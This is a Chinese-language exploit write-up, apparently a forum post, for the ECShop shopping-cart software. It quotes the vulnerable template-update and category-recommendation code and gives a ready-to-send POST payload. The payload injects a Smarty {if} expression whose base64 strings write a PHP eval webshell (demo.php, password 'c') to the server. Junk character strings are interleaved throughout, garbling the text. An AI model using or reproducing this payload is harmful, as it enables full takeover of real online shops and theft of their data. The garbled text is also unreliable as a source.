首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
" K* q2 n D' a; w( H0 ?3 Y, R4 q* [' n! S2 @& e
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了! \1 z' T: X5 E i
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
& Y. e2 J; {5 |" y! X" L5 d% s% uadmin/template.php2 ~7 F/ h- A C- z9 ^& h6 o3 [& N
4 Z9 y# y- H. {9 T5 M5 m% X. \9 \1 if ($_REQUEST['act'] == 'update_library')
, N3 }' r% ]% l+ L( I8 n3 Q# r$ [* A* \4 ^
2 + H5 e1 W/ k7 j+ k' @$ P
4 r$ [' `7 i8 E0 o3 { $ ?- q5 x5 T4 E5 f$ A) r
) z; Q8 F' h3 K, o4 ^: {3 j0 m- Q
4 check_authz_json('library_manage');
7 Q. V/ R, g4 g8 ?4 I$ S' ?! U5 t9 p" Q) `5 t
5 $ c1 P8 M0 a) l4 d2 d, D- [
( C6 Y. ]8 s. @. [4 p; X" D6 $html = stripslashes(json_str_iconv($_POST['html']));
1 B: c+ O% y0 C+ V4 o5 g7 F8 p- z+ I$ m9 i$ Z9 d
7 # j; f- D, q! A$ r( A1 e( l
; ^ a( }* u1 [4 M$ v! V2 |8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
; y7 q5 H) a {" y' O/ [% l" p: U, {$ `! m. U; o
9
( K. l; u2 f. D/ Y) s- A/ t4 K8 r T& M; v+ o
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
8 q+ _7 q: l( w) P' ~/ e5 V4 b
4 O l) b( J" c6 x0 x4 A- @9 N11 6 Q8 O: ~7 O2 j6 {6 B
: S4 W4 @6 h4 G, ^8 v12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 8 Q$ E: e/ t9 K* ^4 s
4 |' Q2 C5 T H" I) [/ d
13
" f5 d) B1 @* m+ t5 {; q% `( J* z% J. e
7 Q$ H9 _7 F3 S3 {6 I9 w' Q/ }14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 : D& {, n2 n7 h& }+ K/ k7 o6 h
+ E& J$ i! g+ b- q/ s/ @+ |7 c
15 { 3 _; @6 H D J9 Y2 ? b
1 ?6 m, {; L& g" U
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
* f4 D( Y/ I9 c1 C2 E/ w' h: s7 f1 D8 l- M' f# e
17 make_json_result('', $_LANG['update_lib_success']);
3 O$ S( Z8 v3 n. |$ C
' d/ G# B' z7 W- A- |2 z18 } 0 g' F( G7 {" v0 Y9 z7 n/ R
- Q+ J" W# P- D3 W& C19 else * g) A% @$ l7 e1 U. G% ~# J8 M- V
! g1 t1 R- T5 K! C8 Z0 }20 {
/ l. \( [" W8 i T* h/ b: u7 x2 r h& _6 w+ G
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
/ v, R. _9 p0 U* q9 z0 M) F# N) G+ ~) e3 b$ W; B
22 }
8 m; l: S2 l" Z9 Y$ y+ |: H( e7 p' T5 Z' d, @, _6 W5 W& Y
23 } 1 v* P+ h6 h( p# i$ t* H
1 K: h1 \( j$ q" b4 e+ V3 ^
那么找个比较方便调用了模板的文件
5 _0 \0 ]- Q2 s0 v, g0 f+ Pindex.php+ G' i2 g/ L3 F9 l# L8 k
; n- }2 b- o' X8 v
1 if ($act == 'cat_rec')
! l2 Y. H( v/ N: R2 K
3 H" ?7 g1 h; X t: [* D8 {2 # j4 g8 P) J4 ]) F+ L$ U* `( K6 Y
$ m$ \" n. r9 o, I( A3 { 6 c+ L( D: W. _$ ?3 t+ A* t! V
) j& Q) V1 S) V( F
4
! A: T6 I; t* s8 x/ G" b$ s, t8 _7 q A
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
6 D6 }! `. Q& X: Q9 U! C6 c7 E' S1 R$ W; ~& k" h' d- h7 P. {& s
6 # W; d; O. F- h9 t
$ m$ d- k2 c+ R
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; : i/ S8 m$ c, m& B4 z
K8 O9 ]# D- ^5 q7 h0 Y( S
8 & J; q0 c+ N! c+ X
# H+ ^+ U6 _; J: }; E; Y3 P
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
3 N/ Q+ x" U; v+ p6 K6 D7 K! @: W6 K" Z) j4 i
10
- l% s4 S) r; c" V+ G4 |, d# T! o! b) |# {' |4 A+ c
11 include_once('includes/cls_json.php');
* S; J+ m4 S7 r. R, a4 q
, o+ Y) W) k8 ^2 G5 c0 z12
4 Y" J, d& Z: X- w' u
( J0 X; ?/ z3 d& U& c( [6 y9 e- ]13 $json = new JSON;
, Z9 v# K: N/ H- Z3 L: | j+ I" x6 I8 e
14
' O3 `6 z3 l5 q0 i& @) K5 ]2 v) \) ~, m s0 N5 S! ]/ _
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 4 O! g M) z f$ d5 i
6 r. K( h# r& X1 p1 @2 H
16 # h; F* ?) S* h
: A+ x8 g& o4 H17 $children = get_children($cat_id); ) {9 X$ a% q3 {4 `9 X
" l! V6 x( |- f! e& F" S0 i
18 ! Z9 K; z% [. {7 t4 _( R
0 P9 `5 l+ {( J$ n! u; n19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
: v9 |: O8 h5 x8 @: P
0 r' H3 j Q, i" t/ ] u20 5 b5 l( u# _( F3 ]% c; t' ]* m9 B
, R Q. M) u; f& y( Z; Z- [4 v
21 $smarty->assign('cat_rec_sign', 1);
) \; p5 Y7 T, |. m( m' q7 w! k4 @' o) j- l7 y+ L8 Q; ]7 I! d
22
) i8 t/ }# H) W' V! T& q4 T$ W2 q& f H3 C' Q; b
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 8 X+ l2 u; W4 @; K8 Z3 `8 u
; F6 g* q" o, L3 l) Z; I
24 4 i% Q& E1 y# U$ G9 c
$ t4 n7 {6 m- k2 e" [3 A
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 9 \5 M$ v$ o3 n* u: R$ z/ C. R7 I) v
$ c6 }. t! U, ?' z3 w26
) m. P# W: k \4 h) P$ \2 ^7 F: K" k* V. d- d& Y' z
27 echo $rec_array[$rec_type];
: Z. k' o: p6 K' S) x: V% _8 y% Y
28
5 r2 U! R8 a3 h/ a
" W9 T" p7 a/ m+ O0 h29 die($json->encode($result));
% V3 A. O& K) M+ T( L4 ]; ?
* |' g9 E/ L* i/ N, g' j9 g: n30 " z5 B" V S' |
B( k( }8 S+ c: U0 w' F5 ]7 v
31 } ! N# u& k }& I5 ~! v0 x
8 V' \" N( P) v$ ^! v' C
那么就有利用方法了
: ?1 D+ J2 j$ u: l3 Jpost包到http://localhost/ec/admin/template.php?act=update_library
a. T( Q2 @7 W* P+ r4 P7 t$ g0 m$ uPost内容:
) U v: ]) {! v9 ^# {% `$ f% _$ r4 Q
% X1 T2 q7 E: j( a1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
, k8 W- ^# n% q, F- P8 K: j" b+ e: [' _" ^! e4 o2 h/ f' v
然后访问http://localhost/ec/index.php?act=cat_rec
! R8 {; k U4 H, j* \/ s% t: H0 i- v% M/ u4 ~8 M
shel地址:http://localhost/ec/demo.php8 P2 L+ n6 E( m# v5 O$ D
密码c. ~. Y2 k& N8 o a. r ]! M& B% q
, C1 ~ h$ t S7 s: o; ^' o8 @$ s
|